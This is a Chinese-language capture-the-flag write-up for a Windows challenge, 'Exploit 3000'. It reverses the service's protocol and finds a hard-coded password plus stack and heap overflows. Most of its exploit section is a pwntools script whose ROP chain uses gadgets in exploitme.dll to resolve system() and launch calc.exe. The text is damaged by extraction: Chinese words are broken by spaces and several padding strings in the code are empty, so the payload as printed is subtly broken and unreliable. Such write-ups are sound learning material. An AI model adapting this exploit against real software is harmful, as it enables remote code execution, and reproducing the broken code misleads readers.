Exploit 3000 writeup 0x00 概述 个 人感觉这道题主要难在逆向, 各种函数还是 比较复杂的, 而且还有 一个找到尽可能多的漏洞的提 示, 让我分析的时候感觉很难受, 生怕错过了 一些漏洞 而导致拿不到分 ( 虽然到最后也没找到什么漏洞啊 T T) 挖到漏洞之后 exploitme.dll 里 面提 示的很明显了, 就是逼着你 用 ROP, 你需要什么都给你, 最后给我把 exp 写出来 不知道是不是我的 方法不对, 后 面的任务简直是体 力活啊, 累坏了 T T 果然是我的 方法不对 真 心对 Windows 不熟啊 T T 0x01 结构 我将被 striped 掉的函数名猜测还原了 一下, 具体的看 idb 就 行了 其实我原来把每个函数的变量名都还原了, 但是分析的过程中我那不争 气的电脑突然就 Kernel Panic 了, 所有变量名和函数名都没保存下来, 当时我的内 心是崩溃的 于是就没有恢复变量名了, 如果要 用我的 idb 分析的同学要 自 己再费点精 力完善了 先来看 一下程序中的 一些结构 : socket 堆结构如下 :
+------------+ <-- 0 login_flag +------------+ <-- 4 fd +------------+ <-- 8 addr +------------+ <-- 24 username <-- len(username) < 99 +------------+ filepath <-- $TEMP/md5(username) +------------+ 这个程序涉及到 文件操作, 文件的结构如下 : +------------+ <-- 0 "fnoc" +------------+ <-- 4 len1 +------------+ <-- 8 len2 +------------+ <-- 12 md5(data1) +------------+ data_all +------------+ 接下来看 一下需要发送 / 接收的包的结构和对应的含义 Packet 1 首先要发 一个选择选项值的包 堆结构如下 :
+------------+ <-- 0 "cesi" +------------+ <-- 4 option_num +------------+ <-- 6 length <-- length 是指下 一个包允许输 入的 长度, 也是下 一 个堆的 大 小 +------------+ <-- 8 0-4 五个选项分别代表 : 0 - 登录 1 - 写 文件 2 - 重命名 3 - 读 文件 4 - 取模块地址等 重命名要求在 socket 的堆中存有 文件名, 也就是说必须先执 行 一次写 文件 Packet 2 紧接着第 二个包要输 入数据, 对于不同的选项输 入的数据有不同的含义 接收数据的堆结构如下 : +------------+ <-- 0 data_len +------------+ <-- 4 data +------------+ <-- length 如果是登录包那么 data_length 分为两个 _WORD, 前 一个是 username 的 长 度, 后 一个是 password 的 长度 其中 1-4 四个选项中的 data 分别表 示 : 1 - 要写 入的 文件内容 2 - 新 文件名
3 - 要读的 文件名 4 - 模块中的函数名 0x02 漏洞 第 一步是登录, 用户名随意, 密码为 failed, 硬编码在函数中, 看 一下我 idb 中 的 auth 函数即可 在重命名 文件的函数中存在 一处栈溢出, 同时还伴随着堆溢出 : memcpy(&pszpath[v10], (const void *)(a3 + 4), *(_DWORD *) a3); 大约是 45 行左右 这句话中 memcpy 的 dest &pszpath[v10] 是在栈上的地址, 距离栈底的距离是固定的, 而 *(_DWORD *)a3 表 示要复制 长度, 这个值是来 自数据包中的 len, 也就是 用户 自 己输 入的 此处未做 *a3 的 长度检测因此可溢出栈空间, 但是要稳定地覆盖到 eip 还必须知道 文件名的 长度, 具体的 exp 后 面再说 另外在读 文件的函数中也存在 一处堆溢出 : fread(v14, 1u, v13, v15); v17 = *((_DWORD *)v14 + 1); v18 = malloc(*((_dword *)v14 + 2)); memcpy(v18, (char *)v14 + 48, v17); 文件内容中的 *((_DWORD *)v14 + 1) 是 大于 *((_DWORD *)v14 + 2) 的, 所以会导致堆溢出 本来觉得这 里会有 一个任意 文件读取的逻辑漏洞, 但是很遗憾没找到, 不知道 到底有没有? 0x03 Exploit 两个堆溢出 一个栈溢出毫 无疑问会选择栈溢出, 更何况 exploitme.dll 里 面给了
anything you want 首先在常规情况下执 行选项 4 会得到保存临时 文件的 文件地址以及 exploitme.dll 的基址, 有了 文件名 长度就可以在栈溢出中精确地控制到 eip, 有 了模块的基址就可以在模块中任意 ROP 看到模块中的 helper, 各种 ropgadget 应有尽有, 最重要函数的 GetModuleHandle 和 GetProcddress 也具备了, 那么接下来就是写 rop 写 rop 很 辛苦的呐, 往事不堪回 首, 具体细节我也不想多说了, 看代码就 行了 吧 代码中的所有硬编码地址都是 用于编程参考的, 要么是会在运 行过程中被真实 值替换, 要么就是没有 用到, 总之在 XP 和 Win7 上都利 用成功了, 不信你试 试, 不 行再找我 author = 'w3b0rz' from pwn import * # p = remote('192.168.32.190', 8888) # p = remote('172.16.212.136', 8888) p = remote('10.37.129.3', 8888) # Login opt = 0 length = 0x10 p.write('cesi{}{}'.format(p32(opt), p32(length))) payload = '\x04\x00\06\x00' + "user" payload += 'failed' p.write(payload.ljust(length, '\x00')) # print p.recv().encode('hex') p.recv() # Get ddr opt = 4 length = 0x20 p.write('cesi{}{}'.format(p32(opt), p32(length))) m_len = 17 payload = p32(m_len) + 'GetGlobalFunction' p.write(payload.ljust(length, '\x00'))
opt = 4 length = 0x20 p.write('cesi{}{}'.format(p32(opt), p32(length))) m_len = 9 payload = p32(m_len) + 'GetStatus' p.write(payload.ljust(length, '\x00')) # print p.recv().encode('hex') p.recv() p.recvuntil('valid Module ') dll_addr = int(p.recv(10), 16) p.recvuntil('path:') path = p.recv() path_len = len(path) print hex(dll_addr) print path_len opt = 1 length = 0x20 p.write('cesi{}{}'.format(p32(opt), p32(length))) payload = p32(0x04) + "TEST" p.write(payload.ljust(length, "")) # print p.recv().encode('hex') p.recv() # ROP Exp opt = 2 length = 0x300 p.write('cesi{}{}'.format(p32(opt), p32(length))) payload = p32(0x30f-path_len) payload += (0x177-path_len) * "" ### Data Segment payload += "msvcrt.dll\x00\x00" # msvcrt.dll ddr: 0x0012fc48 payload += "" * 0x10 # Not used ddr: 0x0012fc54 payload += p32(dll_addr+0x1297) # mov eax, esp ddr: 0x0012fc94 <----+
payload += p32(dll_addr+0x129) # sub eax, 50h ddr: 0x0012fc98 # eax: 0x0012fc48 -> msvcrt.dll ddr: 0x0012fc9c # ebx: 0x0012fcf0 payload += p32(dll_addr+0x12bf) # mov [ebx], eax ddr: 0x0012fca0 # [0x0012fcf0] = 0x0012fc48 -> msvcrt.dll payload += p32(dll_addr+0x12b8) # mov eax, ebx ddr: 0x0012fca4 payload += p32(dll_addr+0x122) # sub eax, 04h ddr: 0x0012fca8 payload += p32(dll_addr+0x129) # mov ebx, eax ddr: 0x0012fcac # ebx: 0x0012fcec payload += p32(dll_addr+0x1264) # pop eax ddr: 0x0012fcb0 payload += p32(dll_addr+0x8004) # GetModuleHandle ddr: 0x0012fcb4 payload += p32(dll_addr+0x1268) # mov eax, [eax] ddr: 0x0012fcb8 # eax: &GetModuleHandle payload += p32(dll_addr+0x1261) # mov esp, ebx ddr: 0x0012fcbc --+ payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fcc0 payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fcc4 payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fcc8 payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fccc payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fcd0 payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fcd4 payload += p32(0xdeadbeef) # Cannot use
ddr: 0x0012fcd8 ### Start here payload += p32(dll_addr+0x12c) # mov ebx, esp ddr: 0x0012fcdc # ebx: 0x0012fce0 payload += p32(dll_addr+0x128f) # sub esp, 50h ddr: 0x0012fce0 ** ***+ payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fce4 payload += p32(0xdeadbeef) # Cannot use ddr: 0x0012fce8 payload += p32(dll_addr+0x1270) # call eax ddr: 0x0012fcec <-+ payload += p32(0x0012fc54) # Change to Func ddr: 0x0012fcf0 ddr: 0x0012fcf4 ddr: 0x0012fcf8 ddr: 0x0012fcfc ddr: 0x0012fd00 ddr: 0x0012fd04 # ebx: 0x0012fd3c payload += p32(dll_addr+0x12bf) # mov [ebx], eax ddr: 0x0012fd08 # [0x0012fd3c] = 0x77be0000 -> Module(msvcrt.dll) payload += p32(dll_addr+0x1297) # mov eax, esp ddr: 0x0012fd0c # eax: 0x0012fd10 payload += p32(dll_addr+0x128b) # add eax, 50h ddr: 0x0012fd10 # eax: 0x0012fd60 -> system payload += p32(dll_addr+0x125) # add ebx, 04h ddr: 0x0012fd14 # ebx: 0x0012fd40 payload += p32(dll_addr+0x12bf) # mov [ebx], eax ddr: 0x0012fd18 # [0x0012fd40] = 0x0012fd60 -> system
payload += p32(dll_addr+0x125) # add ebx, 04h ddr: 0x0012fd1c payload += p32(dll_addr+0x125) # add ebx, 04h ddr: 0x0012fd20 # ebx: 0x0012fd48 payload += p32(dll_addr+0x129e) # sub eax, 10h ddr: 0x0012fd24 # eax: 0x0012fd50 -> calc.exe payload += p32(dll_addr+0x12bf) # mov [ebx], eax ddr: 0x0012fd28 # [0x0012fd48] = 0x0012fd50 -> calc.exe payload += p32(dll_addr+0x1264) # pop eax ddr: 0x0012fd2c payload += p32(dll_addr+0x8000) # GetProcddress ddr: 0x0012fd30 payload += p32(dll_addr+0x1268) # mov eax, [eax] ddr: 0x0012fd34 payload += p32(dll_addr+0x1270) # call eax ddr: 0x0012fd38 payload += p32(0x77be0000) # Change to Module ddr: 0x0012fd3c payload += p32(0x0012fd50) # Change to system ddr: 0x0012fd40 payload += p32(dll_addr+0x1270) # call eax ddr: 0x0012fd44 payload += p32(0x0012fd50) # Change to calc ddr: 0x0012fd48 payload += "\x00\x00\x00\x00" # Not used ddr: 0x0012fd4c ###Data Segment payload += "calc.exe" # calculator ddr: 0x0012fd50 payload += "\x00\x00\x00\x00" # Not used ddr: 0x0012fd58 payload += "\x00\x00\x00\x00" # Not used ddr: 0x0012fd5c payload += "system\x00\x00" # system ddr: 0x0012fd60 p.write(payload.ljust(length, "")) p.interactive()
0x04 打脸 看了 K 所有题 目 大神的 exp 才发现 自 己的 方法好笨啊 exploitme.dll 里给了 VirtualProtect 这个函数, 我真不知道这个函数可以直接关掉 DEP, 虽然在印象中确实有 用 ROP 关掉 DEP 比直接写 ROP 更 方便的印象, 但当时也没有继续去了解 ( 又欺负我不熟悉 Windows T T ) 所以 exp 的正确解法应该是调 用 exploitme.dll 里的 VirtualProtect 关掉 DEP, 然后利 用 jmp esp 这样的 gadget 直接执 行通 用 shellcode 顺带 一提, Linux 下的可以做到改变 页权限的类似函数是 mprotect 不过我这种 方法也是能成功的, 就是更 麻烦 一些 我的思路是 用 GetModuleHandle 和 GetProcddress 来找到 system() 函数的地址, 然后执 行 calc.exe